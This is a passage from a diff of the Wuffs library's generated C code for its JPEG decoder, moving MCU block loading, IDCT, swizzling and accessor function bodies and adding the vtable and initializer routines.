wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); -- } -- return wuffs_base__make_empty_struct(); --} -- --// -------- func jpeg.decoder.load_mcu_blocks -+ uint32_t a_csel); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct -@@ -44783,34 +44706,7 @@ wuffs_jpeg__decoder__load_mcu_blocks( - wuffs_jpeg__decoder* self, - uint32_t a_mx, - uint32_t a_my, -- wuffs_base__slice_u8 a_workbuf) { -- uint32_t v_b = 0; -- uint8_t v_csel = 0; -- uint64_t v_h = 0; -- uint64_t v_v = 0; -- uint64_t v_stride16 = 0; -- uint64_t v_offset = 0; -- -- v_h = 1u; -- v_v = 1u; -- v_b = 0u; -- while (v_b < self->private_impl.f_mcu_num_blocks) { -- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; -- if (self->private_impl.f_scan_num_components > 1u) { -- v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); -- v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); -- } -- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); -- v_offset = (self->private_impl.f_components_workbuf_offsets[(v_csel | 4u)] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); -- if (v_offset <= ((uint64_t)(a_workbuf.len))) { -- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); -- } -- v_b += 1u; -- } -- return wuffs_base__make_empty_struct(); --} -- --// -------- func jpeg.decoder.save_mcu_blocks -+ wuffs_base__slice_u8 a_workbuf); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct -@@ -44818,4983 +44714,17911 @@ wuffs_jpeg__decoder__save_mcu_blocks( - wuffs_jpeg__decoder* self, - uint32_t a_mx, - uint32_t a_my, -- wuffs_base__slice_u8 a_workbuf) { -- uint32_t v_b = 0; -- uint8_t v_csel = 0; -- uint64_t v_h = 0; -- uint64_t v_v = 0; -- uint64_t v_stride16 = 0; -- uint64_t v_offset = 0; -- -- v_h = 1u; -- v_v = 1u; -- v_b = 0u; -- while (v_b < self->private_impl.f_mcu_num_blocks) { -- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; -- if (self->private_impl.f_scan_num_components > 1u) { -- v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); -- v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); -- } -- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); -- v_offset = (self->private_impl.f_components_workbuf_offsets[(v_csel | 4u)] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); -- if (v_offset <= ((uint64_t)(a_workbuf.len))) { -- wuffs_base__bulk_save_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); -- } -- v_b += 1u; -- } -- return wuffs_base__make_empty_struct(); --} -- --// -------- func jpeg.decoder.skip_past_the_next_restart_marker -+ wuffs_base__slice_u8 a_workbuf); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status - wuffs_jpeg__decoder__skip_past_the_next_restart_marker( - wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint8_t v_c = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -- -- uint32_t coro_susp_point = self->private_impl.p_skip_past_the_next_restart_marker[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- continue; -- } else if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) < 255u) { -- iop_a_src += 1u; -- continue; -- } -- v_c = ((uint8_t)((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u))); -- if (v_c < 192u) { -- iop_a_src += 2u; -- continue; -- } else if ((v_c < 208u) || (215u < v_c)) { -- break; -- } -- v_c &= 7u; -- if ((self->private_impl.f_next_restart_marker == ((v_c + 1u) & 7u)) || (self->private_impl.f_next_restart_marker == ((v_c + 2u) & 7u))) { -- break; -- } else if ((self->private_impl.f_next_restart_marker == ((v_c + 7u) & 7u)) || (self->private_impl.f_next_restart_marker == ((v_c + 6u) & 7u))) { -- iop_a_src += 2u; -- continue; -- } else { -- iop_a_src += 2u; -- break; -- } -- } -- self->private_impl.f_next_restart_marker = (((uint8_t)(self->private_impl.f_next_restart_marker + 1u)) & 7u); -- -- ok: -- self->private_impl.p_skip_past_the_next_restart_marker[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_skip_past_the_next_restart_marker[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return status; --} -- --// -------- func jpeg.decoder.apply_progressive_idct -+ wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct - wuffs_jpeg__decoder__apply_progressive_idct( - wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf) { -- uint32_t v_csel = 0; -- bool v_block_smoothing_applicable = false; -- uint32_t v_scan_width_in_mcus = 0; -- uint32_t v_scan_height_in_mcus = 0; -- uint32_t v_mcu_blocks_mx_mul_0 = 0; -- uint32_t v_mcu_blocks_my_mul_0 = 0; -- uint32_t v_my = 0; -- uint32_t v_mx = 0; -- uint64_t v_stride = 0; -- uint64_t v_offset = 0; -- uint8_t v_stashed_mcu_blocks_0[128] = {0}; -- -- wuffs_base__bulk_save_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); -- v_block_smoothing_applicable = true; -- v_csel = 0u; -- while (v_csel < self->private_impl.f_num_components) { -- if ((self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][0u] >= 16u) || wuffs_jpeg__decoder__top_left_quants_has_zero(self, ((uint32_t)(self->private_impl.f_components_tq[v_csel])))) { -- v_block_smoothing_applicable = false; -- } -- v_csel += 1u; -- } -- v_csel = 0u; -- while (v_csel < self->private_impl.f_num_components) { -- v_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); -- v_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); -- v_mcu_blocks_mx_mul_0 = 8u; -- v_mcu_blocks_my_mul_0 = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); -- if (v_block_smoothing_applicable && (0u != (self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][1u] | -- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][2u] | -- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][3u] | -- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][4u] | -- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][5u] | -- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][6u] | -- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | -- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | -- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][9u]))) { -- self->private_impl.choosy_load_mcu_blocks_for_single_component = ( -- &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth); -- self->private_impl.f_block_smoothing_mx_max_incl = wuffs_base__u32__sat_sub(v_scan_width_in_mcus, 1u); -- self->private_impl.f_block_smoothing_my_max_incl = wuffs_base__u32__sat_sub(v_scan_height_in_mcus, 1u); -- } else { -- self->private_impl.choosy_load_mcu_blocks_for_single_component = ( -- &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default); -- } -- v_my = 0u; -- while (v_my < v_scan_height_in_mcus) { -- v_mx = 0u; -- while (v_mx < v_scan_width_in_mcus) { -- wuffs_jpeg__decoder__load_mcu_blocks_for_single_component(self, -- v_mx, -- v_my, -- a_workbuf, -- v_csel); -- v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); -- v_offset = (self->private_impl.f_components_workbuf_offsets[v_csel] + (((uint64_t)(v_mcu_blocks_mx_mul_0)) * ((uint64_t)(v_mx))) + (((uint64_t)(v_mcu_blocks_my_mul_0)) * ((uint64_t)(v_my)))); -- if (v_offset <= ((uint64_t)(a_workbuf.len))) { -- wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); -- } -- v_mx += 1u; -- } -- v_my += 1u; -- } -- v_csel += 1u; -- } -- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); -- return wuffs_base__make_empty_struct(); --} -- --// -------- func jpeg.decoder.swizzle_gray -+ wuffs_base__slice_u8 a_workbuf); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status - wuffs_jpeg__decoder__swizzle_gray( - wuffs_jpeg__decoder* self, - wuffs_base__pixel_buffer* a_dst, -- wuffs_base__slice_u8 a_workbuf) { -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint32_t v_dst_bytes_per_pixel = 0; -- uint64_t v_dst_length = 0; -- wuffs_base__table_u8 v_tab = {0}; -- wuffs_base__slice_u8 v_dst = {0}; -- uint32_t v_y = 0; -- uint64_t v_stride = 0; -- -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -- } -- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -- v_dst_length = ((uint64_t)((v_dst_bytes_per_pixel * self->private_impl.f_width))); -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- v_y = 0u; -- while (v_y < self->private_impl.f_height) { -- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_y); -- if (v_dst_length < ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_length); -- } -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), a_workbuf); -- v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[0u])); -- if (v_stride <= ((uint64_t)(a_workbuf.len))) { -- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, v_stride); -- } else { -- a_workbuf = wuffs_base__utility__empty_slice_u8(); -- } -- v_y += 1u; -- } -- return wuffs_base__make_status(NULL); --} -- --// -------- func jpeg.decoder.swizzle_colorful -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_x0, -+ uint32_t a_x1, -+ uint32_t a_y0, -+ uint32_t a_y1, -+ uint64_t a_stride); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status - wuffs_jpeg__decoder__swizzle_colorful( - wuffs_jpeg__decoder* self, - wuffs_base__pixel_buffer* a_dst, -- wuffs_base__slice_u8 a_workbuf) { -- wuffs_base__slice_u8 v_src0 = {0}; -- wuffs_base__slice_u8 v_src1 = {0}; -- wuffs_base__slice_u8 v_src2 = {0}; -- wuffs_base__slice_u8 v_src3 = {0}; -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- if ((self->private_impl.f_components_workbuf_offsets[0u] <= self->private_impl.f_components_workbuf_offsets[1u]) && (self->private_impl.f_components_workbuf_offsets[1u] <= ((uint64_t)(a_workbuf.len)))) { -- v_src0 = wuffs_base__slice_u8__subslice_ij(a_workbuf, -- self->private_impl.f_components_workbuf_offsets[0u], -- self->private_impl.f_components_workbuf_offsets[1u]); -- } -- if ((self->private_impl.f_components_workbuf_offsets[1u] <= self->private_impl.f_components_workbuf_offsets[2u]) && (self->private_impl.f_components_workbuf_offsets[2u] <= ((uint64_t)(a_workbuf.len)))) { -- v_src1 = wuffs_base__slice_u8__subslice_ij(a_workbuf, -- self->private_impl.f_components_workbuf_offsets[1u], -- self->private_impl.f_components_workbuf_offsets[2u]); -- } -- if ((self->private_impl.f_components_workbuf_offsets[2u] <= self->private_impl.f_components_workbuf_offsets[3u]) && (self->private_impl.f_components_workbuf_offsets[3u] <= ((uint64_t)(a_workbuf.len)))) { -- v_src2 = wuffs_base__slice_u8__subslice_ij(a_workbuf, -- self->private_impl.f_components_workbuf_offsets[2u], -- self->private_impl.f_components_workbuf_offsets[3u]); -- } -- if ((self->private_impl.f_components_workbuf_offsets[3u] <= self->private_impl.f_components_workbuf_offsets[4u]) && (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len)))) { -- v_src3 = wuffs_base__slice_u8__subslice_ij(a_workbuf, -- self->private_impl.f_components_workbuf_offsets[3u], -- self->private_impl.f_components_workbuf_offsets[4u]); -- } -- v_status = wuffs_base__pixel_swizzler__swizzle_ycck(&self->private_impl.f_swizzler, -- a_dst, -- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), -- self->private_impl.f_width, -- self->private_impl.f_height, -- v_src0, -- v_src1, -- v_src2, -- v_src3, -- self->private_impl.f_components_workbuf_widths[0u], -- self->private_impl.f_components_workbuf_widths[1u], -- self->private_impl.f_components_workbuf_widths[2u], -- self->private_impl.f_components_workbuf_widths[3u], -- self->private_impl.f_components_workbuf_heights[0u], -- self->private_impl.f_components_workbuf_heights[1u], -- self->private_impl.f_components_workbuf_heights[2u], -- self->private_impl.f_components_workbuf_heights[3u], -- self->private_impl.f_components_workbuf_widths[0u], -- self->private_impl.f_components_workbuf_widths[1u], -- self->private_impl.f_components_workbuf_widths[2u], -- self->private_impl.f_components_workbuf_widths[3u], -- self->private_impl.f_components_h[0u], -- self->private_impl.f_components_h[1u], -- self->private_impl.f_components_h[2u], -- self->private_impl.f_components_h[3u], -- self->private_impl.f_components_v[0u], -- self->private_impl.f_components_v[1u], -- self->private_impl.f_components_v[2u], -- self->private_impl.f_components_v[3u], -- self->private_impl.f_is_rgb_or_cmyk, -- true, -- wuffs_base__make_slice_u8(self->private_data.f_swizzle_ycck_scratch_buffer_2k, 2048)); -- return wuffs_base__status__ensure_not_a_suspension(v_status); --} -- --// -------- func jpeg.decoder.frame_dirty_rect -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_x0, -+ uint32_t a_x1, -+ uint32_t a_y0, -+ uint32_t a_y1); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_jpeg__decoder__frame_dirty_rect( -- const wuffs_jpeg__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -- -- return wuffs_base__utility__make_rect_ie_u32( -- 0u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height); --} -- --// -------- func jpeg.decoder.num_animation_loops -+static bool -+wuffs_jpeg__decoder__top_left_quants_has_zero( -+ const wuffs_jpeg__decoder* self, -+ uint32_t a_q); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_jpeg__decoder__num_animation_loops( -- const wuffs_jpeg__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return 0u; --} -- --// -------- func jpeg.decoder.num_decoded_frame_configs -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( -+ wuffs_jpeg__decoder* self, -+ uint32_t a_mx, -+ uint32_t a_my, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_csel); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_jpeg__decoder__num_decoded_frame_configs( -- const wuffs_jpeg__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- if (self->private_impl.f_call_sequence > 32u) { -- return 1u; -- } -- return 0u; --} -- --// -------- func jpeg.decoder.num_decoded_frames -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_jpeg__decoder__num_decoded_frames( -- const wuffs_jpeg__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- if (self->private_impl.f_call_sequence > 64u) { -- return 1u; -- } -- return 0u; --} -- --// -------- func jpeg.decoder.restart_frame -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu__choosy_default( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_jpeg__decoder__restart_frame( -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( - wuffs_jpeg__decoder* self, -- uint64_t a_index, -- uint64_t a_io_position) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- -- uint32_t v_i = 0; -- uint32_t v_j = 0; -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my); - -- if (self->private_impl.f_call_sequence < 32u) { -- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- } -- if (a_index != 0u) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- self->private_impl.f_call_sequence = 40u; -- self->private_impl.f_bitstream_is_closed = false; -- self->private_impl.f_frame_config_io_position = a_io_position; -- self->private_impl.f_scan_count = 0u; -- self->private_impl.f_restart_interval = self->private_impl.f_saved_restart_interval; -- v_i = 0u; -- while (v_i < 4u) { -- self->private_impl.f_seen_dqt[v_i] = self->private_impl.f_saved_seen_dqt[v_i]; -- v_j = 0u; -- while (v_j < 64u) { -- self->private_impl.f_quant_tables[v_i][v_j] = self->private_impl.f_saved_quant_tables[v_i][v_j]; -- v_j += 1u; -- } -- v_i += 1u; -- } -- v_i = 0u; -- while (v_i < 4u) { -- v_j = 0u; -- while (v_j < 10u) { -- self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; -- v_j += 1u; -- } -- v_i += 1u; -- } -- v_i = 0u; -- while (v_i < 8u) { -- self->private_impl.f_seen_dht[v_i] = false; -- v_i += 1u; -- } -- return wuffs_base__make_status(NULL); --} -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my); - --// -------- func jpeg.decoder.set_report_metadata -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_jpeg__decoder__set_report_metadata( -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( - wuffs_jpeg__decoder* self, -- uint32_t a_fourcc, -- bool a_report) { -- return wuffs_base__make_empty_struct(); --} -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my); - --// -------- func jpeg.decoder.tell_me_more -+// ---------------- VTables - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_jpeg__decoder__tell_me_more( -+const wuffs_base__image_decoder__func_ptrs -+wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__pixel_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__pixel_blend, -+ wuffs_base__slice_u8, -+ wuffs_base__decode_frame_options*))(&wuffs_jpeg__decoder__decode_frame), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__frame_config*, -+ wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_frame_config), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__image_config*, -+ wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_image_config), -+ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_jpeg__decoder__frame_dirty_rect), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_jpeg__decoder__get_quirk), -+ (uint32_t(*)(const void*))(&wuffs_jpeg__decoder__num_animation_loops), -+ (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frame_configs), -+ (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frames), -+ (wuffs_base__status(*)(void*, -+ uint64_t, -+ uint64_t))(&wuffs_jpeg__decoder__restart_frame), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_jpeg__decoder__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ uint32_t, -+ bool))(&wuffs_jpeg__decoder__set_report_metadata), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__more_information*, -+ wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__tell_me_more), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_jpeg__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_jpeg__decoder__initialize( - wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); - } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); - } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 4)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } - } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); - -- status = wuffs_base__make_status(wuffs_base__error__no_more_information); -- goto exit; -+ self->private_impl.choosy_decode_idct = &wuffs_jpeg__decoder__decode_idct__choosy_default; -+ self->private_impl.choosy_load_mcu_blocks_for_single_component = &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default; -+ self->private_impl.choosy_decode_mcu = &wuffs_jpeg__decoder__decode_mcu__choosy_default; - -- goto ok; -- ok: -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -+ wuffs_base__image_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -+ (const void*)(&wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ return wuffs_base__make_status(NULL); - } - --// -------- func jpeg.decoder.history_retain_length -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_jpeg__decoder__history_retain_length( -- const wuffs_jpeg__decoder* self) { -- if (!self) { -- return 0; -+wuffs_jpeg__decoder* -+wuffs_jpeg__decoder__alloc(void) { -+ wuffs_jpeg__decoder* x = -+ (wuffs_jpeg__decoder*)(calloc(1, sizeof(wuffs_jpeg__decoder))); -+ if (!x) { -+ return NULL; - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ if (wuffs_jpeg__decoder__initialize( -+ x, sizeof(wuffs_jpeg__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; - } -+ return x; -+} - -- return 0u; -+size_t -+sizeof__wuffs_jpeg__decoder(void) { -+ return sizeof(wuffs_jpeg__decoder); - } - --// -------- func jpeg.decoder.workbuf_len -+// ---------------- Function Implementations -+ -+// -------- func jpeg.decoder.decode_idct - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_jpeg__decoder__workbuf_len( -- const wuffs_jpeg__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- -- return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_components_workbuf_offsets[8u], self->private_impl.f_components_workbuf_offsets[8u]); --} -- --// -------- func jpeg.decoder.top_left_quants_has_zero -- --WUFFS_BASE__GENERATED_C_CODE --static bool --wuffs_jpeg__decoder__top_left_quants_has_zero( -- const wuffs_jpeg__decoder* self, -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__decode_idct( -+ wuffs_jpeg__decoder* self, -+ 